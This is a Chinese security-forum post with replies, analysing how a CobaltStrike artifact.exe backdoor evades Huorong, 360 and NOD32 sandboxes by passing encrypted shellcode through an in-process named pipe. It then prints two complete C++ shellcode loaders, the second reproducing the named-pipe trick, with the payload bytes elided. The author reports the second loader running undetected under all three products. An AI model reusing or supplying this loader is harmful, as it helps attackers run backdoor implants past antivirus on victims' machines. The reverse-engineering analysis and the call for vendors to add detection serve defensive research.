吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 47110|回复: 231
收起左侧

[PC样本分析] CobaltStrike木马artifact.exe规避火绒,360,node32沙盒的方法分析

    [复制链接]
昨夜星辰恰似你 发表于 2019-10-30 13:39
使用论坛附件上传样本压缩包时必须使用压缩密码保护,压缩密码:52pojie,否则会导致论坛被杀毒软件等误报,论坛有权随时删除相关附件和帖子!
病毒分析分区附件样本、网址谨慎下载点击,可能对计算机产生破坏,仅供安全人员在法律允许范围内研究,禁止非法用途!
禁止求非法渗透测试、非法网络攻击、获取隐私等违法内容,即使对方是非法内容,也应向警方求助!
最近发现一个奇怪的现象,我用CobaltStrike直接生成一个裸奔测试后门artifact.exe
图片1.png

然后使用火绒扫描,火绒居然没有直接查杀
图片2.png

自己上线自己
图片3.png

按理说这种被渗透人员大量使用的后门,不管它原本使用了哪些牛逼的沙盒绕过手法都应该被直接特征码定位查杀,根本不不用杀软沙盒分析。很明显,火绒应该是忘了加针对CobaltStrike的特征码,然后使用后一步的沙盒分析但是不幸的是,沙盒分析也被CobaltStrike规避了。所以进一步分析
图片4.png

代码使用了GCC MinGW编译,程序有两个TLS回调,分析了一遍,感觉并没有什么卵用,应该就是GCC编译后,main函数之前的初始化吧,判断了一下winmajor这个全局变量,看名字和系统版本相关Winmajor<=3就加载mingwm10.dll这个dll,这个应该和MinGW有关吧,系统里面根本没有这个dll
图片5.png

图片6.png

直接看main函数,逻辑很简单,先call sub_4027B()没什么卵用的函数,然后call sub_401800() 这个函数才是搞事的核心,然后死循环Sleep(1000)
图片7.png

双击进去分析,逻辑也很简单,获取系统时间戳,拼接成字符串\\.\pipe\MSSE-%d-server的格式,看名字应该和命名管道有关,然后创建了一个线程函数地址是sub_4016D3的线程,然后调用了函数sub_4017A2
图片8.png

分析线程函数sub_4016D3,直接F5看伪代码吧
图片9.png

函数sub_401608有两个参数,第一个参数unk_403010是一个数组,里面就是加密之后的shellcode,第二个全局变量参数dwSize就是shellcode数组的大小
图片10.png

跟进sub_401608,伪代码非常直观,可以直接拿来编译那种
图片11.png

逻辑很清晰,创建了一个命名管道,管道名字就是前面分析的字符串\\.\pipe\MSSE-%d-server,然后往管道里面循环写入加密的shellcode数据,直到全部写入 返回分析,前面知道程序创建了线程之后立刻调用了函数sub_4017A2
图片12.png

Sleep函数的作用就是保证线程函数创建命名管道成功再开始读取加密的shellcode,跟进sub_4016F2,也是逻辑非常简单直观的,打开线程创建的命名管道,从管道里面读取加密之后的shellcode
图片13.png

返回看sub_401559函数
图片14.png

数组unk_403008和加密之后的shellcode是一段连续内存,开始的8字节是解密密钥相关,后面才是加密的shellcode
图片15.png

跟进sub_401559,逻辑相当简单了,木马的模板代码,先用VirtualAlloc函数申请内存,解密shellcode写入内存,再用VirtualProtect函数改变内存属性成可执行最后创建线程执行shellcode,解密算法也很简单,加密数据分别和数组unk_403008开头4字节进行取余亦或运算,unk_403008开头8字节实际只用了4个字节
图片16.png

总结:CS使用命名管道进程内部通信的方式传输shellcode,杀软的沙盒并不能很好的模拟此行为,以此绕过了沙盒的代码分析,但是这并不能完全验证是这种方法绕过了沙盒分析决定自己写代码使用此方式加载CobaltStrike的shellcode测试杀软
1.先使用常规方式直接解密加载shellcode,代码如下
[C++] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
unsigned char data[] = { xxxxx };
 
DWORD WINAPI StartAddress(LPVOID lpThreadParameter)
{
        return ((int(__stdcall *)(LPVOID))lpThreadParameter)(lpThreadParameter);
}
int main(int argc, _TCHAR* argv[])
{
        char *buff = (char*)VirtualAlloc(0, sizeof(data), 0x3000u, 4u);
        //解密部分算法
        DWORD flOldProtect = 0;
        VirtualProtect(buff, sizeof(data), 0x20u, &flOldProtect);
        CreateThread(0, 0, (LPTHREAD_START_ROUTINE)StartAddress, buff, 0, 0);
        while (true)
        {
                Sleep(1000);
        }
        return 0;
}


先关闭火绒,直接上线
图片17.png

然后开启火绒,刚编译就被杀
图片18.png

2.先使用进程内部命名管道解密加载shellcode,代码如下
[C++] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
unsigned char data[] = { xxxx };
DWORD WINAPI StartAddress(LPVOID lpThreadParameter)
{
        return ((int(__stdcall *)(LPVOID))lpThreadParameter)(lpThreadParameter);
}
 
 
bool pipClient(LPVOID lpBuffer, DWORD nNumberOfBytesToRead)
{
        DWORD offset = 0;
        DWORD readSize = 0;
        HANDLE hFile = CreateFileA("\\\\.\\xxx\\yyy", 0x80000000, 3u, 0, 3u, 0x80u, 0);
        if (hFile!=INVALID_HANDLE_VALUE)
        {
                while (nNumberOfBytesToRead>0)
                {
                        BOOL ret=ReadFile(hFile, ((char*)lpBuffer + offset), nNumberOfBytesToRead, &readSize, NULL);
                        if (!ret)
                        {
                                break;
                        }
                        nNumberOfBytesToRead -= readSize;
                        offset += readSize;
                }
                CloseHandle(hFile);
        }
        return nNumberOfBytesToRead == 0;
}
 
bool pipServer(LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite)
{
        DWORD offset = 0;
        DWORD writeSize = 0;
        HANDLE hFile = CreateNamedPipeA("\\\\.\\xxx\\yyy", 2u, 0, 1u, 0, 0, 0, 0);
        if (hFile != INVALID_HANDLE_VALUE)
        {
                if (ConnectNamedPipe(hFile, 0))
                {
                        while (nNumberOfBytesToWrite>0)
                        {
                                BOOL ret = WriteFile(hFile, ((char*)lpBuffer + offset), nNumberOfBytesToWrite, &writeSize, NULL);
                                if (!ret)
                                {
                                        break;
                                }
                                nNumberOfBytesToWrite -= writeSize;
                                offset += writeSize;
                        }
                        CloseHandle(hFile);
                }
        }
        return nNumberOfBytesToWrite == 0;
}
 
 
DWORD WINAPI PipWrite(LPVOID)
{
        pipServer(data, sizeof(data));
        return 0;
}
 
 
int main(int argc, _TCHAR* argv[])
{
        CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)PipWrite, NULL, 0, NULL);
        Sleep(600);
        char *buff = (char*)VirtualAlloc(0, sizeof(data), 0x3000u, 4u);
        pipClient(buff, sizeof(data));
        //解密部分算法
        DWORD flOldProtect = 0;
        VirtualProtect(buff, sizeof(data), 0x20u, &flOldProtect);
        CreateThread(0, 0, (LPTHREAD_START_ROUTINE)StartAddress, buff, 0, 0);
        while (true)
        {
                Sleep(1000);
        }
        return 0;
}

开启火绒,直接上线
图片19.png

继续测试node32,提示安全
图片20.png

测试360安全卫士+360杀毒小红书,QVM引擎全开联网查杀,提示安全
图片21.png

哇,这个真的是。。。呼吁杀软厂商感觉把这种过沙盒的方法列入查杀对象
666.jpg

免费评分

参与人数 156吾爱币 +153 热心值 +144 收起 理由
123qwe123qwe + 1 用心讨论,共获提升!
重庆陈冠希 + 1 66666
gongcsxue + 1 + 1 热心回复!
不灭钻石 + 1 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
VMlinuz + 1 + 1 用心讨论,共获提升!
ebaolzh + 1 + 1 我很赞同!
zlixunnhuan + 1 + 1 用心讨论,共获提升!
River_Forest + 1 + 1 我很赞同!
1ander + 1 + 1 我很赞同!
天才银月爱卖萌 + 1 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
清炒藕片丶 + 1 + 1 666
samoul + 1 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
Tidal + 1 + 1 热心回复!
fei8255 + 1 + 1 鼓励转贴优秀软件安全工具和文档!
内瑟斯 + 1 用心讨论,共获提升!
yywapj + 1 + 1 这必须给大神
netcat + 1 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
e4je + 1 + 1 热心回复!
zhangchang + 1 + 1 我很赞同!
chenhongyuan + 1 + 1 我很赞同!
ab10012358 + 1 + 1 用心讨论,共获提升!
warren_520 + 1 + 1 谢谢@Thanks!
大海来啦 + 1 用心讨论,共获提升!
Invisiblez + 1 + 1 热心回复!
chenshiyiya + 1 + 1 我很赞同!
雨止I + 1 + 1 热心回复!
忆秋暝枫 + 1 + 1 我很赞同!
MrOnee + 1 + 1 用心讨论,共获提升!
byblg52 + 1 + 1 谢谢@Thanks!
autist + 1 我很赞同!
自强 + 1 + 1 用心讨论,共获提升!
qingyise + 1 + 1 热心回复!
chomosuke + 1 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
LIEJIU + 1 + 1 谢谢@Thanks!
反反复复ssss + 1 + 1 用心讨论,共获提升!
ttao88 + 1 谢谢@Thanks!
肆零柒柒 + 1 + 1 用心讨论,共获提升!
风吹腿冷 + 1 + 1 大哥求放过
空白的悲伤 + 1 + 1 用心讨论,共获提升!
RedbeanW + 1 + 1 好吧。应用于易语言防误报倒挺有效
malthae + 1 + 1 谢谢@Thanks!
面包Sama + 1 大佬牛批
lindesi08 + 1 + 1 大佬,为了不让你黑我的电脑,只能给你赞了!
Gascs + 1 + 1 但是他的特征码应该还是会被识别出来
Tomcrack520 + 1 用心讨论,共获提升!
anpreate + 1 + 1 黑客:“嗯?我的马怎么被删了?”
13697i + 1 热心回复!
艹123 + 1 + 1 我很赞同!
aeiduo + 1 虽然看不懂 但感觉很牛逼
as1329 + 1 + 1 用心讨论,共获提升!
青丝白发 + 1 我很赞同!
strage + 1 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
星海you云 + 1 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
yed504307648 + 1 + 1 我很赞同!
满级的杂修 + 1 + 1 我很赞同!
try233 + 1 + 1 用心讨论,共获提升!
littesummer + 1 + 1 我很赞同!
xmsjshou + 1 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
白展堂 + 1 我很赞同!
N0LL + 1 + 1 谢谢@Thanks!
逍遥笔 + 1 + 1 用心讨论,共获提升!
shne0309 + 1 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
simplex + 1 我很赞同!
aishen6 + 1 + 1 用心讨论,共获提升!
qwe110120v + 1 + 1 用心讨论,共获提升!
梁祝a + 1 + 1 谢谢@Thanks!
tangjiashiertui + 1 用心讨论,共获提升!
一梦千年 + 1 + 1 我很赞同!
皮卡丘秋 + 1 + 1 鼓励优秀软件安全工具和文档!
90m + 1 + 1 谢谢@Thanks!
hellozhanghe + 1 + 1 热心回复!
XenProject + 1 + 1 热心回复!
小灰灰ash + 1 鼓励转贴优秀软件安全工具和文档!
yunyishj + 1 + 1 烧香膜拜中。。。
Likey + 2 + 1 爸爸、妈妈都问我为什么要跪着看电脑
poisonbcat + 1 + 1 谢谢@Thanks!
古河渚 + 1 + 1 我很赞同!
QGZZ + 1 + 1 谢谢@Thanks!
liu5659 + 1 鼓励转贴优秀软件安全工具和文档!
siuhoapdou + 1 + 1 用心讨论,共获提升!
subjadeite + 1 + 1 谢谢@Thanks!
yanguichao + 1 + 1 谢谢@Thanks!
污到深处自然纯 + 1 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
HaxMan + 1 我很赞同!
此日桃花灼灼 + 1 谢谢@Thanks!
584菜鸟 + 1 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
壹个金币 + 1 + 1 牛逼!
qq918749962 + 1 我很赞同!
lep52 + 1 + 1 爸爸也问我为什么要跪在电脑I前
浩劫QAQ + 1 妈妈问我为什么跪着看电脑
别似流年 + 1 + 1 鼓励转贴优秀软件安全工具和文档!
BY丶显示 + 2 + 1 鼓励转贴优秀软件安全工具和文档!
丿超超 + 2 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
开心糖 + 2 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
暗夜协奏者 + 1 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
zhangchao0405 + 1 牛逼~
52pojie666z + 1 + 1 热心回复!
johnsnith + 1 + 1 谢谢@Thanks!
lmgs + 1 + 1 用心讨论,共获提升!
Rakuyo + 1 谢谢@Thanks!

查看全部评分

本帖被以下淘专辑推荐:

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

火绒安全实验室 发表于 2019-10-31 15:09
1321079264 发表于 2019-10-30 15:20
@此生长唸 。。。。。。

今天升级处理。感谢反馈
and1=1 发表于 2019-10-30 20:36
这个在CS刚到3.14时就是这样了,然后Windows defender就可以查杀了。没想到到现在国内杀软都没跟上

免费评分

参与人数 1热心值 +1 收起 理由
liphily + 1 defender已删,每次查杀卡的明显

查看全部评分

1321079264 发表于 2019-10-30 15:20
小蓝人 发表于 2019-10-30 15:49
这个~~~~~没有被查出来~~~~有点~~~~
xuing 发表于 2019-10-30 16:00
TQL TQL。学习了!
逝去的流梦 发表于 2019-10-30 16:16
@火绒 @360杀毒 官方大佬出来看一下
爱你么么哒呀 发表于 2019-10-30 16:24
TQL  有点东西啊
abc2342537 发表于 2019-10-30 16:38
给mr大佬洗脚.jpg
冰茶荼 发表于 2019-10-30 16:43
不明觉厉
Mjoker 发表于 2019-10-30 18:27
地表最强。让我好好瞻仰一下
xisa 发表于 2019-10-30 18:52
看来还是魔高一丈。。。。
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2025-3-25 04:23

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表